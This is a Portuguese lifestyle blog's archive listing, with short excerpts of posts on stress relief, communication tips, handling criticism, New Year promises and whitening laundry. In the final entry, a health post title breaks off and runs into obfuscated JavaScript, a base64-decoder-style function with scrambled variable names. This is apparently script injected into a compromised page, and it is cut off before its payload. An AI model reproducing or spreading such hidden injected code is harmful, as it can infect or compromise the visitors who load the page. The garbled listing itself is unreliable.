Jan 23, 2019 | Em Alta, Eu, Teresa, O meu mundo
Aprenda 3 passos anti stress Olá! Atenção, atenção! Volto com um novo vídeo da minha rubrica “Eterno Feminino”. Hoje o que me traz são três passos anti stress. Sim, leu bem! Vou partilhar consigo três dicas infalíveis para que o stress não tome conta de...
Jan 14, 2019 | Em Alta, Eu, Teresa, O meu trabalho
Encolhe a barriga e estica o peito! Olá! Hoje volto com a minha rubrica sobre comunicação, “Nem entra mosca nem sai asneira”. Gosto tanto de o ajudar a comunicar! Aqui vai mais um conselho: Hoje digo-lhe “Um, dois, esquerdo, direito! Encolhe a...
Jan 2, 2019 | Em Alta, Eu, Teresa, O meu mundo
Criticar não é fazer! Olá! Hoje, já em 2019, trago-lhe mais um vídeo da minha rubrica “Eterno Feminino”. O tema de hoje responde a uma pergunta muito sensível: como é que eu tenho vivido com críticas? Bem, ser uma figura pública é, por si só, estar...
Dez 31, 2018 | Em Alta, Eu, Teresa, O meu trabalho
Política de Ano Novo – prometa e cumpra! Adeus 2018! Olá 2019! Hoje trago-lhe um vídeo novo da minha rubrica “Não entra mosca nem sai asneira”. E já percebeu que não é um vídeo qualquer! Hoje falo-lhe sobre… o Ano Novo. Faz parte do grupo de...
Mai 8, 2017 | Dicas úteis
Truques para deixar a roupa branca ainda mais branca As roupas brancas tendem a manchar muito facilmente e também podem ficar amareladas depois de a utilizarmos muitas vezes. Para isto não acontecer, hoje dou-lhe alguns truques para deixar a sua roupa branca ainda...
Mar 1, 2017 | Saúde e bem estar
7 grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
